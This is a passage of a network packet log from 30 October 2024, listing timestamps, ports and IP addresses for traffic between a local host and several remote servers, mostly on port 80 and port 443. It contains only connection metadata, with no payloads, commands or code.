Oct 30, 2024 11:45:41.686249971 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686263084 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686276913 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686289072 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686307907 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686373949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686388016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686414957 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686427116 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686484098 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686508894 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686523914 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686532974 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686541080 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686551094 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686556101 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686564922 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686582088 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686599016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686598063 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686615944 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686633110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686638117 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686649084 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686659098 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686665058 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.686686993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.686705112 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.687156916 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.687180996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.687203884 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.687207937 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.687235117 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.687244892 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.687253952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.687268972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.687303066 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.687550068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.687592030 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.687602997 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.687608957 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.687625885 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.687633038 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.687652111 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.687661886 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.703773022 CET	443	49950	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.703924894 CET	443	49950	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.704090118 CET	49950	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.704236984 CET	49950	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.704241991 CET	443	49950	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.704252005 CET	49950	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.704255104 CET	443	49950	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.716578007 CET	49962	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.716593981 CET	443	49962	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.716660023 CET	49962	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.723221064 CET	443	49949	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.723290920 CET	443	49949	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.723974943 CET	49949	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.728414059 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.728436947 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.728475094 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.728485107 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.728504896 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.728523970 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.728540897 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.730756044 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.747535944 CET	49962	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.747546911 CET	443	49962	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.753206968 CET	49949	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.753222942 CET	443	49949	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.756403923 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.756419897 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.759557009 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.759572983 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.759588957 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.759603977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.759605885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.759625912 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.759638071 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.759655952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.759661913 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.759677887 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.759706974 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.776680946 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.776755095 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.776797056 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.776807070 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.800312996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.800328970 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.800367117 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.800745964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.800762892 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.800777912 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.800857067 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.800857067 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.800887108 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.800909042 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.800921917 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.800959110 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.800959110 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.800997972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801012993 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801037073 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.801055908 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.801083088 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801112890 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801129103 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.801131010 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801171064 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.801198959 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801213026 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801238060 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.801249027 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.801314116 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801358938 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801361084 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.801377058 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801414013 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.801557064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801592112 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801609039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801611900 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.801625013 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.801629066 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801645994 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801646948 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.801667929 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.801681042 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.801872015 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801887989 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801903963 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801923037 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801927090 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.801940918 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.801954031 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.801975965 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.802201033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.802247047 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.802263021 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.802288055 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.802306890 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.802309036 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.802325010 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.802340031 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.802359104 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.802362919 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.802380085 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.802386045 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.802408934 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.802423954 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.802706957 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.802756071 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.802792072 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.802804947 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.802820921 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.802838087 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.802845955 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.802858114 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.802865028 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.802880049 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.802897930 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.870619059 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.870626926 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.874612093 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.874635935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.874650955 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.874655962 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.874671936 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.874691963 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.904731989 CET	49963	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.904755116 CET	443	49963	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.904867887 CET	49963	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.905424118 CET	49963	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.905436039 CET	443	49963	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.916023016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916069984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916085958 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916146994 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.916146994 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.916146994 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.916445971 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916507959 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.916546106 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916562080 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916579008 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916584969 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.916603088 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.916606903 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916620016 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.916632891 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916647911 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916663885 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916676998 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.916682005 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916699886 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916704893 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.916717052 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916723013 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.916734934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916747093 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.916752100 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916760921 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.916769981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.916784048 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.916796923 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.916824102 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.916971922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917071104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917121887 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.917134047 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917150021 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917165995 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917175055 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.917198896 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.917244911 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917294025 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.917296886 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917314053 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917351961 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917352915 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.917370081 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917386055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917407036 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917409897 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.917423964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917432070 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.917440891 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917454004 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.917457104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917469025 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.917486906 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.917500019 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.917907000 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917927980 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917953968 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.917965889 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917982101 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.917993069 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.917999029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.918021917 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.918045044 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.918183088 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.918220043 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.918234110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.918251038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.918272018 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.918294907 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.918311119 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.918327093 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.918349981 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.918368101 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.976561069 CET	49964	443	192.168.2.6	23.198.7.174
Oct 30, 2024 11:45:41.976574898 CET	443	49964	23.198.7.174	192.168.2.6
Oct 30, 2024 11:45:41.976680040 CET	49964	443	192.168.2.6	23.198.7.174
Oct 30, 2024 11:45:41.979609966 CET	49965	443	192.168.2.6	23.198.7.174
Oct 30, 2024 11:45:41.979648113 CET	443	49965	23.198.7.174	192.168.2.6
Oct 30, 2024 11:45:41.979712009 CET	49965	443	192.168.2.6	23.198.7.174
Oct 30, 2024 11:45:41.981475115 CET	49964	443	192.168.2.6	23.198.7.174
Oct 30, 2024 11:45:41.981486082 CET	443	49964	23.198.7.174	192.168.2.6
Oct 30, 2024 11:45:41.981750965 CET	49966	443	192.168.2.6	204.79.197.219
Oct 30, 2024 11:45:41.981759071 CET	443	49966	204.79.197.219	192.168.2.6
Oct 30, 2024 11:45:41.981921911 CET	49966	443	192.168.2.6	204.79.197.219
Oct 30, 2024 11:45:41.989700079 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.989746094 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.989784002 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.989806890 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.989839077 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.989852905 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.989878893 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.989913940 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.990298033 CET	49965	443	192.168.2.6	23.198.7.174
Oct 30, 2024 11:45:41.990309954 CET	443	49965	23.198.7.174	192.168.2.6
Oct 30, 2024 11:45:41.990652084 CET	49966	443	192.168.2.6	204.79.197.219
Oct 30, 2024 11:45:41.990665913 CET	443	49966	204.79.197.219	192.168.2.6
Oct 30, 2024 11:45:41.993457079 CET	49967	443	192.168.2.6	204.79.197.219
Oct 30, 2024 11:45:41.993467093 CET	443	49967	204.79.197.219	192.168.2.6
Oct 30, 2024 11:45:41.993623972 CET	49967	443	192.168.2.6	204.79.197.219
Oct 30, 2024 11:45:41.994146109 CET	49967	443	192.168.2.6	204.79.197.219
Oct 30, 2024 11:45:41.994154930 CET	443	49967	204.79.197.219	192.168.2.6
Oct 30, 2024 11:45:42.032454967 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.032470942 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.032485962 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.032507896 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.032527924 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.032799006 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.032814980 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.032830954 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.032857895 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.032882929 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.032977104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.032994032 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.033016920 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.033036947 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.033057928 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.033150911 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.033168077 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.033189058 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.033200979 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.033324003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.033339977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.033360958 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.033379078 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.033488035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.033502102 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.033516884 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.033541918 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.033561945 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.033565044 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.033581018 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.033596992 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.033607960 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.033612013 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.033632040 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.033653975 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.033879042 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.033895016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.033910036 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.033925056 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.033938885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.033957958 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.034046888 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034064054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034080029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034096956 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.034106016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034121990 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.034143925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.034220934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034235001 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034256935 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.034270048 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.034387112 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034400940 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034415960 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034432888 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034435987 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.034450054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034460068 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:42.034467936 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:42.034490108 CET	49888	80	192.168.2.6	185.215.113.206
